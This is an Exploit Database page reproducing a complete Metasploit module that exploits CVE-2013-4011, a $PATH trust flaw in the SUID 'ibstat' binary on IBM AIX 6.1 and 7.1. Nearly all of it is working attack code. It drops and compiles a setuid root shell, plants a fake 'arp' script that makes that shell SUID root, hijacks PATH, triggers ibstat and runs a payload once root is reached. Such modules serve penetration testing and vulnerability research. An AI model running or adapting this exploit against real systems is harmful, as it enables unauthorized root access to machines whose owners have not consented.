ibstat $PATH – Local Privilege Escalation (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2014-04-04
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/32700/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class Metasploit4 < Msf::Exploit::Local
  
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  "Name" => "ibstat $PATH Privilege Escalation",
  "Description" => %q{
  This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
  },
  "Author" => [
  "Kristian Erik Hermansen", #original author
  "Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>", #Metasploit module
  "Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>" #Metasploit module
  ],
  "References" => [
  ["CVE", "2013-4011"],
  ["OSVDB", "95420"],
  ["BID", "61287"],
  ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"],
  ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"]
  ],
  "Platform" => ["unix"],
  "Arch" => ARCH_CMD,
  "Payload" => {
  "Compat" => {
  "PayloadType" => "cmd",
  "RequiredCmd" => "perl"
  }
  },
  "Targets" => [
  ["IBM AIX Version 6.1", {}],
  ["IBM AIX Version 7.1", {}]
  ],
  "DefaultTarget" => 1,
  "DisclosureDate" => "Sep 24 2013"
  ))
  
  register_options([
  OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
  ], self.class)
  end
  
  def check
  find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null")
  
  if find_output.include?("ibstat")
  return Exploit::CheckCode::Vulnerable
  end
  
  Exploit::CheckCode::Safe
  end
  
  def exploit
  if check == Exploit::CheckCode::Safe
  fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
  else
  print_good("Target is vulnerable.")
  end
  
  root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
  arp_file = "#{datastore["WritableDir"]}/arp"
  c_file = %Q^#include <stdio.h>
  
  int main()
  {
   setreuid(0,0);
   setregid(0,0);
   execve("/bin/sh",NULL,NULL);
   return 0;
  }
  ^
  arp = %Q^#!/bin/sh
  
  chown root #{root_file}
  chmod 4555 #{root_file}
  ^
  
  if gcc_installed?
  print_status("Dropping file #{root_file}.c...")
  write_file("#{root_file}.c", c_file)
  
  print_status("Compiling source...")
  cmd_exec("gcc -o #{root_file} #{root_file}.c")
  print_status("Compilation completed")
  
  register_file_for_cleanup("#{root_file}.c")
  else
  cmd_exec("cp /bin/sh #{root_file}")
  end
  
  register_file_for_cleanup(root_file)
  
  print_status("Writing custom arp file...")
  write_file(arp_file,arp)
  register_file_for_cleanup(arp_file)
  cmd_exec("chmod 0555 #{arp_file}")
  print_status("Custom arp file written")
  
  print_status("Updating $PATH environment variable...")
  path_env = cmd_exec("echo $PATH")
  cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
  cmd_exec("export PATH")
  
  print_status("Triggering vulnerablity...")
  cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
  
  # The $PATH variable must be restored before the payload is executed
  # in cases where an euid root shell was gained
  print_status("Restoring $PATH environment variable...")
  cmd_exec("PATH=#{path_env}")
  cmd_exec("export PATH")
  
  cmd_exec(root_file)
  print_status("Checking root privileges...")
  
  if is_root?
  print_status("Executing payload...")
  cmd_exec(payload.encoded)
  end
  end
  
  def gcc_installed?
  print_status("Checking if gcc exists...")
  gcc_whereis_output = cmd_exec("whereis -b gcc")
  
  if gcc_whereis_output.include?("/")
  print_good("gcc found!")
  return true
  end
  
  print_status("gcc not found. Using /bin/sh from local system")
  false
  end
  
  def is_root?
  id_output = cmd_exec("id")
  
  if id_output.include?("euid=0(root)")
  print_good("Got root! (euid)")
  return true
  end
  if id_output.include?("uid=0(root)")
  print_good("Got root!")
  return true
  end
  
  print_status("Exploit failed")
  false
  end
  
  end